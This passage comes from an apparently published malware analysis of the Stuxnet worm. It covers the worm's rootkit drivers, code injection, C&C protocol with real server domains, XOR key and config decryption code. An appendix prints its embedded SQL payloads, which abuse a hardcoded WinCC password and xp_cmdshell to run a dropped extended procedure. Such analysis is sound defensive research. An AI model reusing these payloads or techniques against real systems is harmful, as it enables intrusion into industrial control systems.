Kernel-mode driver (MrxCls.sys) responsible for injecting code into certain
processes

202

A proxy dynamic link library203

A .cab file with dynamic link library inside

205

Configuration data for MrxCls.sys

208

A dynamic link library – fake s7otbldx.dll (Siemens SCADA module)

209

Encrypted data file drop to %WINDIR%\help\winmic.fts

210

Template PE-file, used to construct dropper (~WTR4132.TMP)

221

Module used for distribution of the worm by exploiting RPC vulnerability

222

Module used for distribution of the worm by exploiting MS10-061 vulnerability

240.LNK file template, used to create .LNK files exploiting vulnerability

241~WTR4141.TMP – dynamic link library, used to load dropper (~WTR4132.TMP)
while infecting system

242

Kernel-mode driver (MrxNet.sys) responsible for concealing files exploiting LNK
vulnerability and infecting system

250

Module used to escalate privileges by exploiting 0-day vulnerability in Win32k.sys

4.2

Kernel-mode functionality

The worm has some rootkit functionality, as during infection of the system it drops and installs twokernel-mode drivers that allow it to hide files and inject code into process in the system:
MrxCls.sys;
MrxNet.sys.
These modules are not packed or protected with any packer or protector. Moreover these drivers are
digitally signed. Here are the digital certificates of the public keys corresponding to the private keys used
to sign the drivers (we received samples signed with two different private keys).

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Figure 4.10 – Digital certificates Used to Verify Driver's Signatures

After it was ascertained that the certificates were compromised, both were revoked by Verisign. Variant
drivers and compromised certificates have, however, been noted since.

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4.2.1 MRXCLS.sys
4.2.1.1 Encrypted data
This driver is designated to inject code into the address space of the processes in the system. It isregistered in OS as a boot start service. Thus it is loaded as early as possible in the OS boot process.
Some of its data are encrypted with a custom encryption algorithm. If we decrypt them, we get thefollowing string constants with the following meanings:

Table 4.2.1 – Decrypted String Constants Found in the Driver

REGISTRY\MACHINE\SYSTEM\CurentControlSet\Services\MrxCls

Name of the registry key that
corresponds to the driver

Data

Name of the value of the registry
key related to the driver\Device\MrxClsDvx

Name of the device object that iscreated by the driver

To be able to inject code it registers a special routine that is called each time a module is loaded inaddress space of a process by calling API function PsSetLoadImageNotifyRoutine.
4.2.1.2 Configuration data
The driver holds configuration data that specify in which processes the code is to be injected. The data
are stored in driver's registry key with the value name presented in Table 4.2.1. The data can also be
stored in a file on disk: if the driver failed for some reason to read the configuration data from registry, it
reads it from the file, if any exists. Here is configuration data found on an infected machine:

Figure 4.12 – The configuration data of the driver

As we can see from the figure, these data specify what modules should be injected by the driver into theaddress spaces of certain processes. For instance, here we see that in processes in which executables
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have the names services.exe, S7tgtopx.exe and CCProjectMgr.exe, the driver injects a module stored ina file with the name \SystemRoot\inf\oem7A.PNF. The configuration data also specify the name orordinal number of the export of the injected module to be called. For instance in this case, when
oem7A.PNF will be loaded into the address spaces of the CCProjectMgr.exe or S7togtopx.exe, theexported function number 2 should be called. In the case of services.exe the exported function with theordinal 1 should be called. If a process is debugged the driver doesn't perform an injection, and it
determines whether the process is debugged by reading BeingDebugged field of the PEB structure
related to the process.
4.2.1.3 Injector
Here we briefly describe the injector. It is not only capable of injecting modules into the address spaceof a process but is also able to stealthily call an exported function from the already injected modules.
The injection of a module is performed in three stages:
1.
Allocating memory in the address space of the target process and copying module andsupplemental code into the newly allocated buffer;2.
Initializing supplemental data and code with import from kernel32.dll library, andoverwriting the first bytes of the entry point of the process image;3.
Mapping the module to inject into the address space of the process, initializing importaddress table, fixing relocations, calling its entry point and restoring the original bytes of theimage entry point.

Figure 4.13 – Injecting a Module into Process Address Space

Stage 1
When the process image is loaded into the address space of the process, the notification routine iscalled and the driver determines whether the process is debugged. If it isn’t, it looks in its configuration
data to get the name of the module to inject. Once it obtains the name of the module it allocates two
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protection of the entry point region to PAGE_EXECUTE_WRITECOPY, a value which makes it writable. In
the following figure we can see a layout of the modules in the user-mode address space of the process:Figure 4.14 – Layout of Modules and Buffers in User-Mode Address Space of a Process Prior to Loading kernel32.dll LibraryStage 2At the second stage, when the driver receives notification that kernel32.dll has been mapped into theaddress space of the process, it initializes import of the supplemental code from the loaded library andoverwrites the first seven bytes of the entry point of the process image with the following commands:

Figure 4.15 – Patched entry point

APIs exported by kernel32.dll and used by supplemental code are: VirtualAlloc, VirtualFree,
GetProcAddress, GetModuleHandle, LoadLibraryA, LoadLibraryW, lstrcmp, lstrcmpi, GetVersionEx,
DeviceIoControl. The layout of the modules at this stage is presented on the following figure:

Figure 4.16 – Layout of Modules and Buffers in User-Mode Address Space of a Process after Loading kernel32.dll

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the supplemental code, the purpose of which is to map the module and call its entry point. When thework is finished it restores the original entry point and sets the memory protection value of the entry
point region to its initial value. Then it transfers control to the original entry point.

Figure 4.17 – Layout of Modules and Buffers in User-Mode Address Space of a Process after Application's Entry Point is Called

DeviceIoControl
The driver creates a device object with the name specified in Table 4.2.1 and registers handlers for thefollowing requests:
IRP_MJ_CREATE;IRP_MJ_CLOSE;
IRP_MJ_DEVICE_CONTROL.
The first two handlers do nothing but successfully complete IRP packet, while the third handler is used
to dispatch control requests from an application. When the created device object receives an
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struct IOCTL_PARAMS{DWORD Signature;// Signature always set to 0xAFABF00D

DWORD Reserved1;
HANDLE hProcess;// Handle of the process

DWORD Reserved2;
void *BaseAddress;// Base address of memory region

DWORD Reserved3;
DWORD RegionSize;// Size of the memory region

DWORD Reserved4;
DWORD NewProtection;// New protection memory constant

DWORD Reserved5;};

When supplemental code changes memory protection of the entry point it initializes this structure andpasses it as a parameter to DeviceIoControl API.
4.2.2 MRXNET.sys
The purpose of this driver is to hide files that are used to propagate the malware through USB drives. It
acts as a file system driver filter. In the very beginning of its initialization it registers the
FileSystemRegistrationChange routine enables it to attach to file systems available in the system, but it
is interested only in ntfs, fat and cdfs file systems. When a new file system is mounted the driverreceives a notification, creates a device object and attaches it to the top of the device stack. From thenon the driver is able to monitor all the requests that are addressed to the file system. It waits for an
IRP_MJ_MOUNT_VOLUME request to arrive and attaches itself to the mounted volume to intercept
requests related to operations with files and directories. It creates DeviceObjects and attaches it tothose device objects created by and corresponding to the specified file system drivers. The driver hooks
IRP_MJ_DIRECTORY_CONTROL requests addressed to the file systems it is attached to, enabling it tofilter results from querying information about files and subdirectories. This request is used to get
information related to the directory, and in particular what files are located in the directory.
It hides the same files as ~WTR4141.tmp does:
files with ".LNK" extension with a file length of 1471 (0x104b) bytes;
files with ".TMP" extension where the name consists of 12 characters (including extension) in
the following format: "~WTRabcd.TMP", where a,b,c,d are digits from 0 to 9 which sum modulo 10
equals 0 ("~WTR4411.TMP" for example).
On receiving an IRP_MJ_DIRECTORY_CONTROL request it sets an IO completion routine that filters
results of the request. Depending on the control operation that is requested, the driver goes throughthe corresponding structure and deletes all entries matching the search criteria.

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4.3

Stuxnet Bot Configuration Data

Stuxnet stores its encrypted configuration data (1860 bytes) in %WINDIR%\inf\mdmcpq3.pnf. A
decryption algorithm is presented in Appendix A. These data contain information about:
URLs of C&C servers (see figure below);
Activation time – the time and date after which the worm is active;
Deactivation time – the time after which the worm becomes inactive and deletes itself;
Version of the malware;
The minimum quantity of files that the removable drive should contain to drop malicious.LNK files successfully;
Other information about its propagation and functioning.

Figure 4.18 – An Extract from the Configuration Data

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4.4

Remote Communication Protocol

The malware communicates to the C&C server through http. A list of URLs is included in the Stuxnet
configuration data of Stuxnet:
www.windowsupdate.com;
www.msn.com;
www.mypremierfutbol.com;
www.todaysfutbol.com
The first two URLs are used to check that the system has connection to the Internet, while the third andthe fourth are URLs of C&C servers. If it fails to successfully establish connection with the remote host(www.windowsupdate.com) it stops sending data to the C&C server.
When the malware confirms that the infected computer is connected to the Internet it sends an httprequest to the remote server. Here is an example of the URL with data:
http:// www.mypremierfutbol.com/index.php?data=data_to_send,
where data_to_send is encrypted and encoded message.
It uses a custom encryption algorithm with a key length equal 31 bytes:// Encryption
char Key[31] = {0x67, 0xA9, 0x6E, 0x28, 0x90, 0x0D, 0x58, 0xD6,
0xA4, 0x5D, 0xE2, 0x72, 0x66, 0xC0, 0x4A, 0x57,
0x88, 0x5A, 0xB0, 0x5C, 0x6E, 0x45, 0x56, 0x1A,
0xBD, 0x7C, 0x71, 0x5E, 0x42, 0xE4, 0xC1};// Encryption procedure
void EncryptData(char *Buffer, int BufferSize, char *Key){for (int i = 0 ; i < BufferSize ; i ++)Buffer[i] ^= Key[i % 31];
return;}The encrypted data are represented as a string of Unicode characters: each byte of the binary data ispresented as 2 characters. For instance, 0x7A96E2890 will be written as "7A96E2890" Unicode string.
The data to be sent have the following structure:

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Figure 4.19 – The Structure of the Data Sent to C&C Server

The first byte of the data is a hexadecimal constant 0x01, followed by 16 bytes of the malware
configuration data. The IP address of the host is the first non-loopback entry in the list of IPv4 addressesof the host sorted in the ascending order.
While preparing the data to be sent the malware gathers information about all the network adaptersinstalled on the system by calling the GetAdaptersInfo API. This includes:
The adapter name;
The adapter description;
The hardware address of the adapter;
The list of IPv4 addresses associated with the adapter;
The IPv4 address of the gateway for the adapter;
The IPv4 address of the DHCP server for the adapter;
The IPv4 address of the primary WINS server;
The IPv4 address of the secondary WINS server;
The message field can be described with the following structure:

struct STUXNET_CC_MESSAGE{
BYTE Constant;// Set to 0x01

BYTE ConfigByte;// A BYTE of the configuration data

BYTE OsVerMajor;// The major version number of the OS

BYTE OsVerMinor;// The minor version number of the OS

BYTE OsVerServicePackMajor;// The major version number of the service pack// installed on the system

BYTE Reserved[3];// padding

DWORD ConfigDword;// A DWORD of the configuration data

WORD CurrentACP;// Current ANSI code page identifier for the// system

WORD OsVerSuitMask;// A bitmask identifying the product suites// available on the system

BYTE Flags;// See reference bellow

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68char ComputerName[];// NetBIOS name of the local computerchar DomainName[];// Name of the domain or workgroup the computer// is joined to if any

char ConfigDataStr[];// A string from configuration data};

Figure 4.20 – Description of the Flags Field in STUXNET_CC_MESSAGE Structure

We can see that flags corresponding to the first and the last bits in the byte are unused. Flags 1,4,5,6 are
related to the configuration data of the malware. Flag 2 signifies whether Stuxnet is active. Flag 3 is set
in case Stuxnet detects Siemens software installed on the infected machine, which it does by searchingin the registry the following keys and values:
Key – HKLM\SOFTWARE\SIEMENS\STEP7, value – STEP7_Version;
Key – HKLM\SOFTWARE\SIEMENS\WinCC\Setup, value – Version.
When the message is constructed, the malware encrypts it by XORing each byte with the hexadecimal
constant 0xFF. The malware receives a response from the C&C server which is structured as follows:

Figure 4.21 – The Structure of the Response from the C&C Server

The first four bytes of the response store the size of the image in the received data: if image size plus 5
bytes isn't equal to the size of the received data, then Stuxnet stops parsing the response. On receiving
the response the malware loads the image and call its export with ordinal number 1. The fifth byte of
the response specifies exactly how it should be executed. If this byte is set to 0x01, then an RPC function
will be called and as a result the received image will be executed at the address of the process hosting
Stuxnet's RPC server. If the fifth byte is zero, then the image will be loaded into the address space of thisprocess and an export function numbered as 1 will be executed. The following figure clarifies thismechanism:

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Figure 4.22 – Dispatching Received Data

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Conclusion
We conducted a detailed technical analysis of the worm Win32/Stuxnet, which currently is perhaps themost technologically sophisticated malicious program developed for a targeted attack to date. We have
not released extensive information here about injecting code into the SCADA system, as it deserves an
independent discussion (and indeed, has been discussed at length by Langner). This research wasintended primarily as material for specialists in information security, showing how technology can bemade use of in targeted attacks.
Thanks to everyone who finished reading our report until the end!

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Appendix A
Further Coverage and Resources, in approximately chronological order:
http://www.h-online.com/security/news/item/Trojan-spreads-via-new-Windows-hole1038992.html
http://www.heise.de/newsticker/meldung/Trojaner-verbreitet-sich-ueber-neue-WindowsLuecke-1038281.html
http://www.reconstructer.org/main.html;
http://it.slashdot.org/submission/1283670/Malware-Targets-Shortcut-Flaw-in-Windows-SCADA
http://it.slashdot.org/story/10/07/15/1955228/Malware-Targets-Shortcut-Flaw-In-WindowsSCADA
http://krebsonsecurity.com/2010/07/experts-warn-of-new-windows-shortcut-flaw/
http://www.zdnet.co.uk/news/security/2010/07/16/spy-rootkit-goes-after-key-indian-iraniansystems-40089564/
http://www.msnbc.msn.com/id/38315572
http://www.reuters.com/article/idUSTRE66I5VX20100719
http://forums.cnet.com/5208-6132_102-0.html?messageID=3341877
http://www.f-secure.com/weblog/archives/00001993.html
http://news.softpedia.com/news/PoC-Exploit-Code-Available-for-Windows-LNK-Vulnerability148140.shtml
http://www.computerworld.com/s/article/9179339/Windows_shortcut_attack_code_goes_pub
lic?taxonomyId=17&pageNumber=1
http://krebsonsecurity.com/2010/09/stuxnet-worm-far-more-sophisticated-than-previouslythought/
http://blog.eset.com/2010/08/04/assessing-intent
http://www.google.com/hostednews/ap/article/ALeqM5h7lX0JoE1AGngQoEfWWmCM6THizQD
9HC86L80
http://www.dailytech.com/Hackers+Target+Power+Plants+and+Physical+Systems/article19257.
htm
http://www.scmagazineus.com/keeping-hilfs-from-crashing-your-party/article/173975/
http://www.sans.org/newsletters/newsbites/newsbites.php?vol=12&issue=74
http://www.computerworld.com/s/article/9185919/Is_Stuxnet_the_best_malware_ever_?taxo
nomyId=82
http://www.zdnet.co.uk/news/security-threats/2010/09/16/siemens-stuxnet-infected-14industrial-plants-40090140/
http://www.h-online.com/security/news/item/Stuxnet-worm-can-control-industrial-systems1080751.html
http://secunia.com/advisories/41525/
http://secunia.com/advisories/41471/
http://blogs.technet.com/b/msrc/;
http://www.csoonline.com/article/614064/siemens-stuxnet-worm-hit-industrial-systemss
http://krebsonsecurity.com/2010/07/microsoft-to-issue-emergency-patch-for-critical-windowsbug/
http://www.symantec.com/connect/blogs/stuxnet-breakthroughhttp://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w
32_stuxnet_dossier.pdf
http://www.langner.com/en/index.htm
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http://realtimeacs.com/?page_id=65
http://realtimeacs.com/?page_id=66
http://www.symantec.com/connect/blogs/exploring-stuxnet-s-plc-infection-process
http://www.virusbtn.com/conference/vb2010/programme/index
http://www.microsoft.com/technet/security/bulletin/ms10-061.mspx;

http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spoolervulnerability.aspx. http://blog.eset.com/?s=stuxnet
http://frank.geekheim.de/?p=1189
http://www.faz.net/s/RubCEB3712D41B64C3094E31BDC1446D18E/Doc~E8A0D43832567452FB
DEE07AF579E893C~ATpl~Ecommon~Scontent.html
http://www.computerworld.com/s/article/9187300/Microsoft_confirms_it_missed_Stuxnet_pri
nt_spooler_zero_day_%20
http://news.sky.com/skynews/Home/World-News/Stuxnet-Worm-Virus-Targeted-At-IransNuclear-Plant-Is-In-Hands-Of-Bad-Guys-Sky-News-SourcesSay/Article/201011415827544?lpos=World_News_News_Your_Way_Region_5&lid=NewsYour
Way_ARTICLE_15827544_Stuxnet_Worm%3A_Virus_Targeted_At_Irans_Nuclear_Plant_Is_In_H
ands_Of_Bad_Guys%2C_Sky_News_Sources_Say
http://news.sky.com/skynews/Home/video/Stuxnet-Worm-Virus-Targeted-At-Irans-NuclearPlant-Is-In-Hands-Of-Bad-Guys-Sky-News-Sources-Say/Video/201011415828645
http://www.bbc.co.uk/news/technology-11795076
http://www.thinq.co.uk/2010/11/25/stuxnet-worm-hits-black-market/
http://nakedsecurity.sophos.com/2010/11/25/stuxnet-scared-of-shadows/
http://thompson.blog.avg.com/2010/11/comment-on-stuxnet-and-more-windows-0-days.html
http://en.wikipedia.org/wiki/Stuxnet
http://www.msnbc.msn.com/id/3036697/#40280338
http://www.itproportal.com/2010/11/25/microsoft-reveals-code-vulnerable-stuxnet/
http://www.eweek.com/c/a/Security/Exploit-Code-for-Windows-Zeroday-Targeted-by-StuxnetGoes-Public-406413/
http://www.exploit-db.com/exploits/15589/
http://blogs.protegerse.com/laboratorio/2010/11/24/publicado-el-codigo-de-otra-de-lasvulnerabilidades-usadas-en-stuxnet/
http://www.v3.co.uk/v3/news/2273495/stuxnet-black-market-sky-news
http://www.f-secure.com/weblog/archives/00002040.html
http://www.facebook.com/notes/eset-ireland/cyberthreats-daily-facebook-infested-with-newwith-new-worm-stuxnet-hype/10150130942127788
http://af.reuters.com/article/energyOilNews/idAFLDE6AS1L120101129
http://go.theregister.com/i/cfh/http://www.theregister.co.uk/2010/11/29/stuxnet_stuxnet/
http://www.h-online.com/security/news/item/Report-Stuxnet-code-being-sold-on-black-market-1142866.html
http://www.microsoft.com/technet/security/bulletin/MS10-dec.mspx
http://blogs.forbes.com/firewall/2010/12/14/stuxnets-finnish-chinese-connection/#more-2513

http://taiaglobal.com/?attachment_id=81
http://www.darkreading.com/vulnerability-management/167901026/security/attacksbreaches/228800582/china-likely-behind-stuxnet-attack-cyberwar-expert-says.html
http://www.infracritical.com/papers/stuxnet-timeline.txt
http://www.vimeo.com/18225315
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http://www.langner.com/en/2010/12/31/year-end-roundup/

As previously stated in Section 2 of this document, as of version 1.31 of this document, we will not be
publishing further revisions except to correct errors or to introduce substantial new or modified
material. We will, however, be adding links from time to time to the ESET blog entry at
http://blog.eset.com/?p=5731.

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Appendix B
Decryption algorithm for PNF file with configuration data"""//key = 71//counter = byte number from begin filemoveax, Keyimul
eax, _Offset
movecx, eax
shr
ecx, 0Bhxor
ecx, eax
imul
ecx, 4E35h
movzx
edx, cx
movzx
ecx, dx
imul
ecx, ecx
moveax, ecx
shr
ecx, 0Dhshreax, 17h
add
al, clmov
ecx, edx
shrecx, 8xor
eax, ecx
movzx
ecx, dl
xor
eax, ecx
movzx
ecx, _Bytexoreax, ecx
mov result, al"""#decrypt function on python
def decrypt(key, counter, sym):v0 = key * counter
v1 = v0 >> 0xb
v1 = (v1 ^ v0) * 0x4e35
v2 = v1 & 0xffff
v3 = v2 * v2
v4 = v3 >> 0xd
v5 = v3 >> 0x17
xorbyte=((v5 & 0xff) + (v4 & 0xff)) & 0xff
xorbyte=xorbyte ^ ((v2 >> 8) & 0xff)
xorbyte=xorbyte ^ (v2 & 0xff)
return xorbyte ^ sym

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Appendix C
SQL query strings embedded in Stuxnet
String 1
declare@t varchar(4000),@e int,@f intif exists (select text from dbo.syscomments
where id = object_id(N'[dbo].[MCPVREADVARPERCON]'))
select @t = rtrim(text) from dbo.syscomments c, dbo.sysobjects owhere o.id = c.id andc.id = object_id(N'[dbo].[MCPVREADVARPERCON]')
set @e = charindex(',openrowset', @t)
if @e = 0
set @t = right(@t, len(@t) - 7)
else
begin
set @f = charindex('sp_msforeachdb', @t)
if @f = 0
begin
set @t = left(@t, @e - 1)
set @t = right(@t, len(@t) - 7)
end
else
select * from fail_in_order_to_return_false
end
set @t = 'alter ' + @t +',openrowset(''SQLOLEDB'',''Server=.\WinCC;uid=WinCCConnect;pwd=2WSXcder'',''select 0;set
IMPLICIT_TRANSACTIONS off;declare @z nvarchar(999);set @z = ''''use [?];declare @t
nvarchar(2000);declare @s nvarchar(9);set @s = ''''''''--CC-S'''''''' + char(80);if
left(db_name(), 2) = ''''''''CC'''''''' select @t = substring(text, charindex(@s, text) +8, charindex(''''''''--*'''''''', text) - charindex(@s, text) - 8) from syscomments where
text like (''''''''%'''''''' + @s + ''''''''%'''''''');if @t is not NULL
exec(@t)'''';exec sp_msforeachdb @z'')'exec (@t)

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String 2
declare@t varchar(4000),@e int,@f intif exists (select * from dbo.syscomments
where id = object_id(N'[dbo].[MCPVPROJECT2]'))
select @t = rtrim(c.text) from dbo.syscomments c, dbo.sysobjects owhere o.id = c.id andc.id = object_id(N'[dbo].[MCPVPROJECT2]')order by c.number, c.colid
set @e = charindex('--CC-SP', @t)
if @e=0
begin
set @f = charindex('where', @t)
if @f <> 0
set @t = left(@t, @f - 1)
set @t = right(@t, len(@t) - 6)
end
else
select * from fail_in_order_to_return_false
set @t = 'alter ' + @t + ' where ((SELECT top 1 1 FROM MCPVREADVARPERCON)=''1'') -CC-SP use master;declare @t varchar(999),@s varchar(999),@a int declare r cursor for
select filename from master..sysdatabases where (name like ''CC%'') open r fetch next
from r into @t while (@@fetch_status<>-1) begin set @t=left(@t,len(@t)-charindex(''\'',reverse(@t))) + ''\GraCS\cc_tlg7.sav'';exec master..xp_fileexist @t, @a out;if @a=1
begin set @s = ''master..xp_cmdshell ''''extrac32 /y "''+@t+''""''+@t+''x"'''''';exec(@s);set @t = @t+''x'';dbcc addextendedproc(sp_payload,@t);exec
master..sp_payload;exec master..sp_dropextendedproc sp_payload;break; end fetch next fromr into @t end close r deallocate r --*'
exec (@t)

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String 3view MCPVPROJECT2 as select PROJECTID,PROJECTNAME,PROJECTVERSION,PROJECTMODE,
PROJECTCREATOR,PROJECTEDITOR,CREATIONDATE,EDITDATE,PRJCOMMENT,CSLANGUAGE,RTLANGUAGE,PROJECTGUID,PRJTABLETYPES,PRJDATATYPES,PRJCREATEVERMAJ,PRJCREATEVERMIN, PRJXRES,PRJTIMEMODE,PRJDELTAMODE,PRJDELTAREMOTE
from MCPTPROJECT where ((SELECT top 1 1 FROM MCPVREADVARPERCON)='1')

String 4view MCPVPROJECT2 as select MCPTPROJECT.PROJECTID,
MCPTPROJECT.PROJECTNAME, MCPTPROJECT.PROJECTVERSION,
MCPTPROJECT.PROJECTMODE, MCPTPROJECT.PROJECTCREATOR,
MCPTPROJECT.PROJECTEDITOR, MCPTPROJECT.CREATIONDATE,MCPTPROJECT.EDITDATE, MCPTPROJECT.PRJCOMMENT,MCPTPROJECT.CSLANGUAGE, MCPTPROJECT.RTLANGUAGE,
MCPTPROJECT.PROJECTGUID, MCPTPROJECT.PRJTABLETYPES,
MCPTPROJECT.PRJDATATYPES, MCPTPROJECT.PRJCREATEVERMAJ,
MCPTPROJECT.PRJCREATEVERMIN, MCPTPROJECT.PRJXRES,MCPTPROJECT.PRJTIMEMODE, MCPTPROJECT.PRJDELTAMODE,
MCPTPROJECT.PRJDELTAREMOTE
from MCPTPROJECT

String 5view MCPVREADVARPERCON as select VARIABLEID,VARIABLETYPEID, FORMATFITTING, SCALEID,
VARIABLENAME, ADDRESSPARAMETER, PROTOKOLL,MAXLIMIT, MINLIMIT,STARTVALUE, SUBSTVALUE, VARFLAGS, CONNECTIONID, VARPROPERTY,CYCLETIMEID, LASTCHANGE, ASDATASIZE, OSDATASIZE, VARGROUPID, VARXRES,VARMARK, SCALETYPE, SCALEPARAM1, SCALEPARAM2,SCALEPARAM3, SCALEPARAM4 from MCPTVARIABLEDESC,
openrowset('SQLOLEDB','Server=.\WinCC;uid=WinCCConnect;pwd=2WSXcder','select 0;declare @t varchar(999),@s varchar(999),@a int declare r
cursor for select filename from master..sysdatabases where (name like ''CC%'') open r
fetch next from r into @t while (@@fetch_status<>-1) begin set @t=left(@t,len(@t)charindex(''\'',reverse(@t)))+''\GraCS\cc_tlg7.sav'';exec master..xp_fileexist @t,@aout;if @a=1 begin set @s = ''master..xp_cmdshell ''''extrac32 /y "''+@t+''""''+@t+''x"'''''';exec(@s);set @t=@t+''x'';dbcc addextendedproc(sp_run,@t);exec
master..sp_run;exec master..sp_dropextendedproc sp_run;break;end fetch next from r into@t end close r deallocate r')String 6
view MCPVREADVARPERCON as select MCPTVARIABLEDESC.VARIABLEID,MCPTVARIABLEDESC.VARIABLETYPEID, MCPTVARIABLEDESC.FORMATFITTING,MCPTVARIABLEDESC.SCALEID, MCPTVARIABLEDESC.VARIABLENAME,CPTVARIABLEDESC.ADDRESSPARAMETER, MCPTVARIABLEDESC.PROTOKOLL,MCPTVARIABLEDESC.MAXLIMIT, MCPTVARIABLEDESC.MINLIMIT,MCPTVARIABLEDESC.STARTVALUE, MCPTVARIABLEDESC.SUBSTVALUE,MCPTVARIABLEDESC.VARFLAGS, MCPTVARIABLEDESC.CONNECTIONID,MCPTVARIABLEDESC.VARPROPERTY, MCPTVARIABLEDESC.CYCLETIMEID,MCPTVARIABLEDESC.LASTCHANGE, MCPTVARIABLEDESC.ASDATASIZE,MCPTVARIABLEDESC.OSDATASIZE, MCPTVARIABLEDESC.VARGROUPID,MCPTVARIABLEDESC.VARXRES, MCPTVARIABLEDESC.VARMARK,MCPTVARIABLEDESC.SCALETYPE, MCPTVARIABLEDESC.SCALEPARAM1,MCPTVARIABLEDESC.SCALEPARAM2, MCPTVARIABLEDESC.SCALEPARAM3,MCPTVARIABLEDESC.SCALEPARAM4 from MCPTVARIABLEDESC

String 7
view MCPVPROJECT2 as select JECTID,PROJECTNAME,PROJECTVERSION,PROJECTMODE,PROJECTCREATOR,PROJECTEDITOR, CREATIONDATE, EDITDATE, PRJCOMMENT, CSLANGUAGE,
RTLANGUAGE, PROJECTGUID, PRJTABLETYPES, PRJDATATYPES,

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PRJCREATEVERMAJ, PRJCREATEVERMIN, PRJXRES, PRJTIMEMODE, PRJDELTAMODE,
PRJDELTAREMOTE
from MCPTPROJECT where ((SELECT top 1 1 FROM MCPVREADVARPERCON)='1')

String 8
view MCPVREADVARPERCON as select VARIABLEID, VARIABLETYPEID, FORMATFITTING, SCALEID,
VARIABLENAME, ADDRESSPARAMETER, PROTOKOLL, MAXLIMIT, MINLIMIT,STARTVALUE, SUBSTVALUE, VARFLAGS, CONNECTIONID, VARPROPERTY,CYCLETIMEID, LASTCHANGE, ASDATASIZE, OSDATASIZE, VARGROUPID, VARXRES,VARMARK, SCALETYPE, SCALEPARAM1, SCALEPARAM2, SCALEPARAM3,SCALEPARAM4 from MCPTVARIABLEDESC,
openrowset('SQLOLEDB','Server=.\WinCC;uid=WinCCConnect;pwd=2WSXcder',"'select 0;use master;declare @t varchar(999),@s varchar(999);select@t=filename from master..sysdatabases where (name like ''CC%'');set @t=left(@t,len(@t)charindex(''\'',reverse(@t)))+''\GraCS\cc_tlg7.sav'';set @s = ''master..xp_cmdshell''''extrac32 /y "''+@t+''" "''+@t+''x"'''''';exec(@s);set @t = @t+''x'';dbcc
addextendedproc(sprun,@t);exec master..sprun;exec master..sp_dropextendedproc sprun')

String 9view MCPVREADVARPERCON as select MCPTVARIABLEDESC.VARIABLEID,MCPTVARIABLEDESC.VARIABLETYPEID, MCPTVARIABLEDESC.FORMATFITTING,MCPTVARIABLEDESC.SCALEID, MCPTVARIABLEDESC.VARIABLENAME,MCPTVARIABLEDESC.ADDRESSPARAMETER, MCPTVARIABLEDESC.PROTOKOLL,MCPTVARIABLEDESC.MAXLIMIT, MCPTVARIABLEDESC.MINLIMIT,MCPTVARIABLEDESC.STARTVALUE, MCPTVARIABLEDESC.SUBSTVALUE,MCPTVARIABLEDESC.VARFLAGS, MCPTVARIABLEDESC.CONNECTIONID,MCPTVARIABLEDESC.VARPROPERTY, MCPTVARIABLEDESC.CYCLETIMEID,MCPTVARIABLEDESC.LASTCHANGE, MCPTVARIABLEDESC.ASDATASIZE,MCPTVARIABLEDESC.OSDATASIZE, MCPTVARIABLEDESC.VARGROUPID,MCPTVARIABLEDESC.VARXRES, MCPTVARIABLEDESC.VARMARK,MCPTVARIABLEDESC.SCALETYPE, MCPTVARIABLEDESC.SCALEPARAM1,MCPTVARIABLEDESC.SCALEPARAM2, MCPTVARIABLEDESC.SCALEPARAM3,MCPTVARIABLEDESC.SCALEPARAM4 from MCPTVARIABLEDESC

String 10
view MCPVPROJECT2 as select MCPTPROJECT.PROJECTID, MCPTPROJECT.PROJECTNAME,
MCPTPROJECT.PROJECTVERSION,
MCPTPROJECT.PROJECTMODE,
MCPTPROJECT.PROJECTCREATOR, MCPTPROJECT.PROJECTEDITOR,MCPTPROJECT.CREATIONDATE, MCPTPROJECT.EDITDATE, MCPTPROJECT.PRJCOMMENT,MCPTPROJECT.CSLANGUAGE, MCPTPROJECT.RTLANGUAGE, MCPTPROJECT.PROJECTGUID,
MCPTPROJECT.PRJTABLETYPES, MCPTPROJECT.PRJDATATYPES,
MCPTPROJECT.PRJCREATEVERMAJ, MCPTPROJECT.PRJCREATEVERMIN,MCPTPROJECT.PRJXRES, MCPTPROJECT.PRJTIMEMODE,
MCPTPROJECT.PRJDELTAMODE, MCPTPROJECT.PRJDELTAREMOTE
from MCPTPROJECT

String 11
view MCPVREADVARPERCON as select VARIABLEID, VARIABLETYPEID, FORMATFITTING,SCALEID,
VARIABLENAME, ADDRESSPARAMETER, PROTOKOLL, MAXLIMIT, MINLIMIT, STARTVALUE,SUBSTVALUE, VARFLAGS, CONNECTIONID, VARPROPERTY, CYCLETIMEID, LASTCHANGE,ASDATASIZE, OSDATASIZE, VARGROUPID, VARXRES, VARMARK, SCALETYPE,SCALEPARAM1, SCALEPARAM2, SCALEPARAM3, SCALEPARAM4
from MCPTVARIABLEDESC,
openrowset('SQLOLEDB','Server=.\WinCC;uid=WinCCConnect;pwd=2WSXcder',"'select 0;use master;declare @t varchar(999),@s varchar(999);select@t=filename from master..sysdatabases where (name like ''CC%R'');set @t=left(@t,len(@t)charindex(''\'',reverse(@t)))+''\GraCS\cc_tlg7.sav'';set @s = ''master..xp_cmdshell_''''extrac32 /y "''+@t+''" "''+@t+''x"'''''';exec(@s);set @t = @t+''x'';dbcc
addextendedproc(sp_run,@t);exec master..sp_run;')www.eset.com

79
String 12view MCPVREADVARPERCON as select MCPTVARIABLEDESC.VARIABLEID,MCPTVARIABLEDESC.VARIABLETYPEID, MCPTVARIABLEDESC.FORMATFITTING,MCPTVARIABLEDESC.SCALEID, MCPTVARIABLEDESC.VARIABLENAME,MCPTVARIABLEDESC.ADDRESSPARAMETER, MCPTVARIABLEDESC.PROTOKOLL,MCPTVARIABLEDESC.MAXLIMIT, MCPTVARIABLEDESC.MINLIMIT,MCPTVARIABLEDESC.STARTVALUE, MCPTVARIABLEDESC.SUBSTVALUE,MCPTVARIABLEDESC.VARFLAGS, MCPTVARIABLEDESC.CONNECTIONID,MCPTVARIABLEDESC.VARPROPERTY, MCPTVARIABLEDESC.CYCLETIMEID,MCPTVARIABLEDESC.LASTCHANGE, MCPTVARIABLEDESC.ASDATASIZE,MCPTVARIABLEDESC.OSDATASIZE, MCPTVARIABLEDESC.VARGROUPID,MCPTVARIABLEDESC.VARXRES, MCPTVARIABLEDESC.VARMARK,MCPTVARIABLEDESC.SCALETYPE, MCPTVARIABLEDESC.SCALEPARAM1,MCPTVARIABLEDESC.SCALEPARAM2, MCPTVARIABLEDESC.SCALEPARAM3,MCPTVARIABLEDESC.SCALEPARAM4 from MCPTVARIABLEDESC

String 13
